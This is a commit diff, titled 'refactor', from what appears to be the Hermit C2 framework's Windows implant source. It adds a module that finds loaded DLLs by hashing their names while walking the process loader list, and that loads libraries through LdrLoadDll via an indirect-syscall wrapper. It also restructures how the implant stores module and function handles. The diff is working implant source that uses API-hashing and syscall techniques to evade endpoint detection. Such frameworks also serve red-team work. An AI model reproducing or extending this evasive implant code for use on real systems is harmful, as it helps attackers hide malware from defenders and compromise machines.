refactor

payload/win/implant/CMakeLists.txt

@@ -61,6 +61,7 @@ set(SOURCE_ASM
 set(SOURCE_CORE
         src/core/crypt.cpp
         src/core/handler.cpp
+        src/core/modules.cpp
         src/core/parser.cpp
         src/core/procs.cpp
         # src/core/socket.cpp

payload/win/implant/include/core/modules.hpp

@@ -0,0 +1,34 @@
+#ifndef HERMIT_CORE_MODULES_HPP
+#define HERMIT_CORE_MODULES_HPP
+
+#include "core/nt.hpp"
+#include "core/procs.hpp"
+
+#include <windows.h>
+
+namespace Modules
+{
+    struct MODULES
+    {
+        HMODULE hAdvapi32;
+        HMODULE hBcrypt;
+        HMODULE hCrypt32;
+        HMODULE hDbghelp;
+        HMODULE hIphlpapi;
+        HMODULE hKernel32;
+        HMODULE hNetapi32;
+        HMODULE hNtdll;
+        HMODULE hShell32;
+        HMODULE hUser32;
+        HMODULE hWinHttp;
+    };
+
+    typedef MODULES *PMODULES;
+
+    ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen);
+    PVOID GetModuleByHash(DWORD dwHash);
+    PVOID LoadModule(Procs::PPROCS pProcs, LPWSTR lpDllName);
+    VOID Free(PMODULES pModules);
+}
+
+#endif // HERMIT_CORE_MODULES_HPP

payload/win/implant/include/core/procs.hpp

@@ -721,27 +721,28 @@ namespace Procs
     };
     typedef PROCS* PPROCS;
 
-    ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen);
     DWORD StringToHashFunc(char* str);
-    PVOID GetModuleByHash(DWORD dwHash);
-    PVOID LoadModule(PPROCS pProcs, LPWSTR lpDllName);
-    PVOID GetProcAddressByHash(HMODULE hModule, DWORD dwHash);
-    PPROCS FindProcs(
-        HMODULE hNTDLL,
-        HMODULE hKernel32DLL,
+    PVOID GetProcAddressByHash(
+        HMODULE hModule,
+        DWORD dwHash
+    );
+    VOID FindProcs(
+        Procs::PPROCS pProcs,
+        HMODULE hNtdll,
+        HMODULE hKernel32,
         BOOL bIndirectSyscalls
     );
     VOID FindProcsMisc(
         Procs::PPROCS pProcs,
-        HMODULE hAdvapi32DLL,
-        HMODULE hBcryptDLL,
-        HMODULE hCrypt32DLL,
-        HMODULE hDbghelpDLL,
-        HMODULE hIphlpapiDLL,
-        HMODULE hNetapi32DLL,
-        HMODULE hShell32DLL,
-        HMODULE hUser32DLL,
-        HMODULE hWinHTTPDLL
+        HMODULE hAdvapi32,
+        HMODULE hBcrypt,
+        HMODULE hCrypt32,
+        HMODULE hDbghelp,
+        HMODULE hIphlpapi,
+        HMODULE hNetapi32,
+        HMODULE hShell32,
+        HMODULE hUser32,
+        HMODULE hWinHttp
     );
 }
 

payload/win/implant/include/core/state.hpp

@@ -3,6 +3,7 @@
 
 #include "core/crypt.hpp"
 #include "core/socket.hpp"
+#include "core/modules.hpp"
 #include "core/parser.hpp"
 #include "core/procs.hpp"
 #include "core/syscalls.hpp"
@@ -25,19 +26,9 @@ namespace State
         PTEB                pTeb;
 
         // Module handlers
-        HMODULE             hAdvapi32DLL;
-        HMODULE             hBcryptDLL;
-        HMODULE             hCrypt32DLL;
-        HMODULE             hDbghelpDLL;
-        HMODULE             hIphlpapiDLL;
-        HMODULE             hKernel32DLL;
-        HMODULE             hNetapi32DLL;
-        HMODULE             hNTDLL;
-        HMODULE             hShell32DLL;
-        HMODULE             hUser32DLL;
-        HMODULE             hWinHTTPDLL;
-
-        // Procedures loaded dynamatically (including syscalls)
+        Modules::PMODULES   pModules;
+
+        // Functions
         Procs::PPROCS       pProcs;
 
         // wWinMain arguments
@@ -87,7 +78,7 @@ namespace State
         BOOL                bQuit;
     };
 
-    typedef STATE* PSTATE;
+    typedef STATE *PSTATE;
 
     VOID Free(PSTATE pState);
 }

payload/win/implant/src/core/handler.cpp

@@ -56,6 +56,8 @@ namespace Handler
             gethostname(szHostname, 256);
             std::string sHostname(szHostname);
             wHostname = Utils::Convert::UTF8Decode(sHostname);
+
+            WSACleanup();
         }
 
         std::wstring wJson = L"{";

payload/win/implant/src/core/modules.cpp

@@ -0,0 +1,112 @@
+#include "core/modules.hpp"
+
+namespace Modules
+{
+    // It's used to calculate hash for modules.
+    ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen)
+    {
+        ULONG  dwHash   = HASH_IV;
+        WCHAR* pwStr    = wStr;
+        SIZE_T dwCnt    = 0;
+
+        do
+        {
+            WCHAR c = *pwStr;
+
+            if (!c)
+            {
+                break;
+            }
+
+            // If a character is uppercase, convert it to lowercase.
+            if (c >= L'A' && c <= L'Z')
+            {
+                c += L'a' - L'A';
+            }
+
+            dwHash = dwHash * RANDOM_ADDR + c;
+            ++pwStr;
+            dwCnt++;
+
+            if (dwStrLen > 0 && dwCnt >= dwStrLen)
+            {
+                break;
+            }
+        } while (TRUE);
+
+        return dwHash & 0xFFFFFFFF;
+    }
+
+    PVOID GetModuleByHash(DWORD dwHash)
+    {
+        PTEB pTeb = NtCurrentTeb();
+        // PPEB pPeb = (PPEB)PPEB_PTR;
+        PPEB pPeb = pTeb->ProcessEnvironmentBlock;
+        PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
+
+        // Get the first entry
+        PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink;
+
+        while (pDte)
+        {
+            if (StringToHashModule(pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == dwHash)
+            {
+                return pDte->DllBase;
+            }
+
+            // Get the next entry
+            pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
+        }
+
+        return nullptr;
+    }
+
+    // Load a module with LdrLoadDll.
+    PVOID LoadModule(Procs::PPROCS pProcs, LPWSTR lpDllName)
+    {
+        PVOID pModule = nullptr;
+        LPCWSTR lpcDllName = static_cast<LPCWSTR>(lpDllName);
+
+        // Get string length
+        LPCWSTR wStr2;
+        for (wStr2 = lpcDllName; *wStr2; ++wStr2);
+		USHORT uDllNameLen = (wStr2 - lpcDllName) * sizeof(WCHAR);
+
+		UNICODE_STRING usDllName = {0};
+		usDllName.Buffer = lpDllName;
+		usDllName.Length = uDllNameLen;
+        usDllName.MaximumLength = uDllNameLen + sizeof(WCHAR);
+
+		NTSTATUS status = CallSysInvoke(
+			&pProcs->sysLdrLoadDll,
+			pProcs->lpLdrLoadDll,
+			nullptr,
+			nullptr,
+			&usDllName,
+			&pModule
+		);
+		if (status != STATUS_SUCCESS || !pModule)
+		{
+			return nullptr;
+		}
+
+        return pModule;
+    }
+
+    VOID Free(PMODULES pModules)
+    {
+        FreeLibrary(pModules->hAdvapi32);
+        FreeLibrary(pModules->hBcrypt);
+        FreeLibrary(pModules->hCrypt32);
+        FreeLibrary(pModules->hDbghelp);
+        FreeLibrary(pModules->hIphlpapi);
+        FreeLibrary(pModules->hKernel32);
+        FreeLibrary(pModules->hNetapi32);
+        FreeLibrary(pModules->hNtdll);
+        FreeLibrary(pModules->hShell32);
+        FreeLibrary(pModules->hUser32);
+        FreeLibrary(pModules->hWinHttp);
+
+        delete pModules;
+    }
+}